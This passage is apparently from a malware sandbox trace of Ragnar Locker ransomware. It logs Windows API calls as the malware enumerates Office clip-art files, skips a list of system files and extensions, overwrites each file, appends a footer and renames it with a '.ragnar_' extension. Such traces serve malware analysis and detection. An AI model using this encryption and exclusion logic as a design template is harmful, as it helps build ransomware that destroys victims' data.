nNumberOfBytesToLockHigh=0x0) returned 1 [0091.535] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3636, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3636, lpOverlapped=0x0) returned 1 [0091.535] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3636, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.535] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3636, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.535] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.536] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.536] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.536] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.536] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.536] GetProcessHeap () returned 0x580000 [0091.536] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.536] CloseHandle (hObject=0xf4) returned 1 [0091.536] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" [0091.536] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.ragnar_FD7BD9FC" [0091.536] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.537] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6697b000, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6697b000, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00726_.WMF", cAlternateFileName="")) returned 1 [0091.537] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.537] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00726_.WMF" | out: lpString1="SO00726_.WMF") returned="SO00726_.WMF" [0091.537] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF") returned=".WMF" [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="autorun.inf") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="boot.ini") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="bootfont.bin") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="bootsect.bak") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="bootmgr") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="bootmgr.efi") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="desktop.ini") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="iconcache.db") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="ntldr") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="ntuser.dat") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="ntuser.ini") returned 1 [0091.537] lstrcmpiW (lpString1="SO00726_.WMF", lpString2="thumbs.db") returned -1 [0091.537] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.537] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.537] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.537] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.537] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.537] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.537] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf")) returned 0x20 [0091.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.538] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=91256) returned 1 [0091.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1646f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.538] GetProcessHeap () returned 0x580000 [0091.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.538] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.539] VirtualAlloc (lpAddress=0x0, dwSize=0x16478, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.539] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.540] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16478, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16478, lpOverlapped=0x0) returned 1 [0091.542] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.542] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16478, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.542] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16478, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16478, lpOverlapped=0x0) returned 1 [0091.543] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16478, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.543] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.543] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16478, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.543] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.543] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.543] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.543] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.544] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.544] GetProcessHeap () returned 0x580000 [0091.544] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.544] CloseHandle (hObject=0xf4) returned 1 [0091.544] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" [0091.544] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.ragnar_FD7BD9FC" [0091.544] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.544] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d1f5400, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d1f5400, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x1758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00728_.WMF", cAlternateFileName="")) returned 1 [0091.545] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.545] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00728_.WMF" | out: lpString1="SO00728_.WMF") returned="SO00728_.WMF" [0091.545] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF") returned=".WMF" [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="autorun.inf") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="boot.ini") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="bootfont.bin") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="bootsect.bak") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="bootmgr") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="bootmgr.efi") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="desktop.ini") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="iconcache.db") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="ntldr") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="ntuser.dat") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="ntuser.ini") returned 1 [0091.545] lstrcmpiW (lpString1="SO00728_.WMF", lpString2="thumbs.db") returned -1 [0091.545] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.545] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.545] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.545] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.545] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.545] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.545] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf")) returned 0x20 [0091.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.546] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5976) returned 1 [0091.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x174f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.546] GetProcessHeap () returned 0x580000 [0091.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.546] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.547] VirtualAlloc (lpAddress=0x0, dwSize=0x1758, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.547] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1758, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1758, lpOverlapped=0x0) returned 1 [0091.548] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.548] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1758, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.548] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1758, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1758, lpOverlapped=0x0) returned 1 [0091.548] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1758, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.548] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1758, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.549] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.549] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.549] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.549] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.549] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.549] GetProcessHeap () returned 0x580000 [0091.549] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.549] CloseHandle (hObject=0xf4) returned 1 [0091.549] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" [0091.549] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.ragnar_FD7BD9FC" [0091.549] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.550] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5096e900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5096e900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00732_.WMF", cAlternateFileName="")) returned 1 [0091.550] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.550] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00732_.WMF" | out: lpString1="SO00732_.WMF") returned="SO00732_.WMF" [0091.550] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF") returned=".WMF" [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="autorun.inf") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="boot.ini") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="bootfont.bin") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="bootsect.bak") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="bootmgr") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="bootmgr.efi") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="desktop.ini") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="iconcache.db") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="ntldr") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="ntuser.dat") returned 1 [0091.550] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.551] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="ntuser.ini") returned 1 [0091.551] lstrcmpiW (lpString1="SO00732_.WMF", lpString2="thumbs.db") returned -1 [0091.551] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.551] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.551] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.551] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.551] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.551] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.551] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf")) returned 0x20 [0091.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.551] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5116) returned 1 [0091.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.551] GetProcessHeap () returned 0x580000 [0091.551] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.551] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.553] VirtualAlloc (lpAddress=0x0, dwSize=0x13fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.553] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13fc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13fc, lpOverlapped=0x0) returned 1 [0091.554] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.554] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.554] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13fc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13fc, lpOverlapped=0x0) returned 1 [0091.554] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.554] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.554] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.554] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, 